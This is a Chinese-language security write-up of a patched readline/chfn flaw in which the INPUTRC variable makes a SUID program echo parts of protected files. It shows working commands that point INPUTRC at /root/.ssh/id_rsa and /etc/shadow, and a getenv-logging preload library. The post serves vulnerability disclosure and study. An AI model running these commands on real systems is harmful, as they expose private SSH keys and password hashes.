利用SUID逻辑漏洞:Readline信息泄露攻击解析

本文详细分析了readline库中的逻辑漏洞,该漏洞会在解析INPUTRC环境变量指定文件时泄露部分文件内容。攻击者可借此在sshd运行环境下横向渗透,获取用户私钥等敏感信息。

利用SUID逻辑漏洞:Readline信息泄露攻击

我在readline依赖库中发现了一个逻辑漏洞,当解析INPUTRC环境变量指定的文件时,会部分泄露文件信息。在满足以下条件时,攻击者可能利用该漏洞进行横向移动:

  • sshd服务正在运行
  • 特定用户可登录
  • 用户私钥存储在已知路径(如/home/user/.ssh/id_rsa)

该漏洞已于2022年2月报告并修复。由于chfn通常不由util-linux提供,您的系统可能不受影响。我撰写本文的原因是这种利用方式很有趣——它之所以可行,是因为readline配置文件解析函数与SSH密钥格式的巧妙巧合。

TL;DR漏洞演示

1
2
3
4
5
6
7
8
9
$ INPUTRC=/root/.ssh/id_rsa chfn
Changing finger information for user.
Password:
readline: /root/.ssh/id_rsa: line 1: -----BEGIN: unknown key modifier
readline: /root/.ssh/id_rsa: line 2: b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn: no key sequence terminator
[...]
readline: /root/.ssh/id_rsa: line 37: avxwhoky6ozXEAAAAJcm9vdEBNQVRFAQI=: no key sequence terminator
readline: /root/.ssh/id_rsa: line 38: -----END: unknown key modifier
Office [b]: ^C

漏洞发现过程

受到Qualys sudo漏洞启发,我最近对SUID漏洞产生了兴趣。在研究《软件安全评估艺术》时,我开始关注环境变量作为攻击面。通过注入拦截库记录getenv调用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#define _GNU_SOURCE
#include <dlfcn.h>
#include <syslog.h>

// gcc getenv.c -fPIC -shared -ldl -o getenv.so

char *(*_real_getenv)(const char *) = 0;
char *getenv(const char *name) {
      if(!_real_getenv) _real_getenv = dlsym(RTLD_NEXT, "getenv");
      char *res = _real_getenv(name);
      syslog(1, "getenv(\"%s\") => \"%s\"\n", name, res);
      return res;
}

在发现INPUTRC环境变量后,我尝试将其指向/etc/shadow文件:

1
2
3
4
5
6
$ INPUTRC=/etc/shadow chfn
Changing finger information for user.
Password:
readline: /etc/shadow: line 9: systemd-journal-remote: unknown key modifier
[...]
Office [b]: ^C

根本原因分析

通过分析readline-8.1源码,发现INPUTRC通过sh_get_env_value传递给getenv。错误信息"unknown key modifier"来自rl_parse_and_bind函数,该函数尝试将输入文件内容解析为键绑定配置时会产生泄露。

关键漏洞路径有三类:

  1. 以引号开头但未闭合的行
  2. 以冒号开头且不含空格的行
  3. 不含空格/制表符/冒号的行

SSH密钥恰好匹配第三种情况,导致私钥内容被部分泄露。

影响范围

该漏洞自2017年2.30-rc1版本引入,但主要影响Arch Linux的util-linux包中的chfn程序。其他主流发行版(Debian/Red Hat/Ubuntu)不受影响。

修复建议

util-linux维护者已从chfn移除了readline支持。建议:

  • 不要在有SUID权限的程序中使用readline
  • 检查使用ncurses的SUID程序与TERMINFO环境变量的交互

时间线

  • 2017年5月2日:漏洞引入
  • 2022年2月8日:向Arch和util-linux上游报告
  • 2022年2月14日:上游修复
  • 2023年2月16日:公开披露
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计